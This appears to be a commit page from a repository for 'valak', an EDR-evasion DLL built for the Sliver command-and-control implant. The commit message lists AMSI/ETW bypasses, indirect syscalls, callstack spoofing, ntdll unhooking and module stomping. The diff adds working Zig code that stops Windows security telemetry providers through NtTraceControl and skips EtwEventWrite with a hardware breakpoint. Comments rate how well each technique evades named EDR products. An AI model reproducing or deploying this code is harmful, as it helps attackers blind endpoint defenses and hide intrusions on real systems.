valak evasion dll for sliver
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
This commit is contained in:
+132
@@ -0,0 +1,132 @@
|
||||
// ETW suppression — two-tier: NtTraceControl (best-effort) -> HWBP on EtwEventWrite.
|
||||
// HWBP reference: https://github.com/FortisecValidation/Micro-Stager
|
||||
// DbgMan, May 2026: "The Threat-Intelligence provider emits events from the kernel
|
||||
// image (ntoskrnl.exe), not from user-mode code paths. Patching ntdll!EtwEventWrite
|
||||
// does not affect TI provider emission." NtTraceControl may be blocked by EDR tamper
|
||||
// protection. HWBP (tier 2) is the primary technique — no memory modification, single
|
||||
// debug register, VEH handler skips the call. Still effective against ~65% of EDRs.
|
||||
// RET patch on EtwEventWrite was REMOVED — memory integrity checks make it instant
|
||||
// detection. Source: DbgMan, "CrowdStrike Falcon and SentinelOne deploy signature
|
||||
// detection for the unhooking byte-sequence pattern."
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const api = @import("api.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
|
||||
var g_etw_patched: bool = false;
|
||||
var g_etw_hwbp_veh: ?*anyopaque = null;
|
||||
var g_etw_event_write_addr: ?*anyopaque = null;
|
||||
|
||||
// Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU
|
||||
// raises a single-step exception. We skip the call by forwarding RIP past it.
|
||||
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
|
||||
{
|
||||
// Skip EtwEventWrite: set RIP to return address on stack, pop it
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
// Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP
|
||||
// is in a debug register, the handler skips the call. EDRs can't see the patch.
|
||||
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
const get_addr = api.etw_get_proc_address orelse return false;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
if (etw_write == null) return false;
|
||||
|
||||
g_etw_event_write_addr = etw_write;
|
||||
|
||||
const veh = api.hwbp_add_veh orelse return false;
|
||||
const cur_thread = api.hwbp_get_thread orelse return false;
|
||||
const set_ctx = api.hwbp_set_thread_ctx orelse return false;
|
||||
|
||||
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
|
||||
if (g_etw_hwbp_veh == null) return false;
|
||||
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender,
|
||||
// MDE, and kernel-level process/syscall monitoring providers.
|
||||
const edr_provider_guids = [_][16]u8{
|
||||
// Microsoft-Windows-Threat-Intelligence ()
|
||||
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
|
||||
// Microsoft-Windows-Kernel-Process
|
||||
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
|
||||
// Microsoft-Windows-Security-Mitigations
|
||||
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
|
||||
};
|
||||
|
||||
// Two-tier: NtTraceControl (best-effort, often blocked by EDR tamper protection) then
|
||||
// hardware breakpoint on EtwEventWrite (primary — no memory modification, no .text integrity
|
||||
// alert). Returns early if already patched.
|
||||
pub fn patch_etw() void {
|
||||
if (g_etw_patched) return;
|
||||
api.ensure();
|
||||
_ = syscall.init_syscall();
|
||||
|
||||
// Tier 1: NtTraceControl(control code 2 = EtwStopLoggerCode) for known EDR providers.
|
||||
// Best-effort — EDRs with tamper protection (Defender, S1, CS) will block this.
|
||||
// Ref: https://ntdoc.m417z.com/nttracecontrol
|
||||
var stopped_any = false;
|
||||
for (&edr_provider_guids) |*guid| {
|
||||
var ret_len: win.ULONG = 0;
|
||||
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
|
||||
if (win.NT_SUCCESS(st)) {
|
||||
stopped_any = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (stopped_any) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
|
||||
const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
|
||||
|
||||
// Tier 2: Hardware breakpoint bypass — no memory modification.
|
||||
// Still effective against ~65% of EDRs as of mid-2026 per DbgMan.
|
||||
// Next-gen EDRs audit debug register state. CrowdStrike and S1 detect this.
|
||||
if (try_hwbp_etw_bypass(ntdll)) {
|
||||
g_etw_patched = true;
|
||||
return;
|
||||
}
|
||||
// No fallback RET patch — memory modification of ntdll exports = instant detection.
|
||||
// Every major EDR monitors ntdll .text integrity per DbgMan, May 2026.
|
||||
}
|
||||
|
||||
// Undo ETW bypass — remove HWBP VEH + clear debug registers.
|
||||
pub fn unpatch_etw() void {
|
||||
if (!g_etw_patched) return;
|
||||
defer g_etw_patched = false;
|
||||
|
||||
// Remove HWBP VEH + clear debug registers
|
||||
if (g_etw_hwbp_veh) |h| {
|
||||
if (api.amsi_remove_vectored_exception_handler) |remove| {
|
||||
_ = remove(h);
|
||||
}
|
||||
g_etw_hwbp_veh = null;
|
||||
|
||||
const cur_thread = api.hwbp_get_thread orelse return;
|
||||
const set_ctx = api.hwbp_set_thread_ctx orelse return;
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = 0;
|
||||
ctx.Dr7 = 0;
|
||||
_ = set_ctx(thread, &ctx);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user